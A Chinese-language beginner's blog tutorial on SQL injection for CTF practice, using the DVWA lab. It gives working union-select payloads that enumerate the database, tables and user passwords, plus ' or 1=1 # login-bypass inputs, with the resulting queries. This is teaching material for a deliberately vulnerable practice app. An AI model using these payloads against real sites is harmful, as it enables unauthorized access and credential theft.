前言:最近打算玩一下CTF,玩過CTF的都知道SQL注入是CTF中最重要的題型。但是。。。。。。。。。很多大佬的WP都是一陣操作猛如虎。很多都不帶解釋的(大佬覺得簡單所以就不解釋了=_= =_= =_=)。所以這幾天一直都在看關於SQL注入的文章,一直也不理解SQL注入的原理。今天剛好看到了一篇文章,自己也跟着那個博主的思路總結一下,對SQL注入有了一個大概的的理解。寫這篇博文一是希望加深自己對SQL注入的理解二也希望能幫助那些還不是特別理解SQL注入的人
參考 鏈接 https://www.jianshu.com/p/078df7a35671
SQL注入
一. Sql注入入門知識點總結
- 猜解數據庫
1) 設想這樣的一個場景當我們要輸入一個用戶id,我們輸入欄中輸入1
這時候其實在后台執行的代碼為
SELECT first_name, last_name FROM users WHERE user_id = '1';
2) 如果我們不按常理出牌而是在輸入框中輸入1‘ order by 1#
那么這時候后台執行的代碼就變成了:
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1 #‘(按照sql的語法#起注釋作用所以#后面的單引號就被注釋掉了)
當我們輸入order by 1的時候可能不會報錯那么我們這時候可以嘗試 23456,直到報錯為止

假如當數字等於3的時候報錯,那說明當前表只有兩個字段並且只有2列
- 接下來使用union select 聯合查詢繼續獲取信息
Union select運算符可以將兩個或者兩個以上的select語句查詢結果集合合並成一個結果集合顯示,即執行聯合查詢需要注意的是使用union查詢的時候需要和主查詢的列數相等,而且我們之前已經知道主查詢的列數是2,接下來就好辦了
1) 這時候我們輸入1‘ union select database(),user()#進行查詢
l Database()將會返回當前網站所使用的數據庫名字
l User()將會返回執行當前查詢的用戶名
實際執行的sql語句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user() #;

通過查詢的結果我們可以清晰的看出
u 當前執行查詢用戶名為root@localhost
u 當前使用的數據庫是dvwa
2) 接下來我們嘗試獲取輸入1' union select version(),@@version_compile_os#進行查詢
u version() 獲取當前數據庫版本.
u @@version_compile_os 獲取當前操作系統
實際執行的sql語句是 :
SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#`;

db的版本以及操作系統的類型
u 當前數據庫版本為 : 5.6.31-0ubuntu0.15.10.1.
u 當前操作系統為 : debian-linux-gnu
3) 接下來我們嘗試獲取dvwa數據庫中表名
information_schema 是 mysql 自帶的一張表,這張數據表保存了 Mysql 服務器所有數據庫的信息,如數據庫名,數據庫的表,表欄的數據類型與訪問權限等。該數據庫擁有一個名為 tables 的數據表,該表包含兩個字段 table_name 和 table_schema,分別記錄 DBMS 中的存儲的表名和表名所在的數據庫。
我們輸入1‘ union select table_names,table_schema from information_schema.tables where table_schema = ‘dvwa’ #
實際執行的的sql語句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#`;

通過查詢的結果我們可以清晰的看出
l Dvwa數據庫有兩個數據表,分別是guestbook,和users
4) 接下來我們嘗試獲取重量級用戶名和密碼
由經驗我們可以大膽猜測users數據表里面的字段是user 和password所以輸入:
1’ union select user,password from users #
實際執行的的sql語句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#`;

通過查詢的結果我們可以清晰的看出
l 用戶名以及密碼
二. Sql注入實驗二驗證繞過
- 接下來我們將看下面的登陸頁面
如過我們隨便輸入 比如 23 232 這時候會報錯
- 怎么做能繞過登陸頁面呢?
我們可以嘗試輸入 123 ‘ or 1=1 123 ‘ or 1=1
這時候我們可以看到

這時候我們不禁會想為什么呢?下面我們就來分析一下
實際執行的的sql語句是:
select * from users where username='123' or 1=1 #' and password='123' or 1=1 #'
按照mysql的語法#后面的東西會被忽略掉所以即便我們即便輸入 ‘ or 1=1 #(密碼欄不輸入東西結果也是一樣的)
由於判斷語句 or 1=1 恆成立所以不管前面輸入的什么都能成功登陸
我們不在嘗試使用#屏蔽單引號,采用手動閉合式
123‘ or ‘1’ =’1 這樣同樣能登陸成功
后記:SQL注入需要大量的練習以及經驗的總結,這里僅僅介紹了一些最基本的一些玩法,后面如果遇到一些好玩的注入我也會在這里分享。
未完待續。。。。
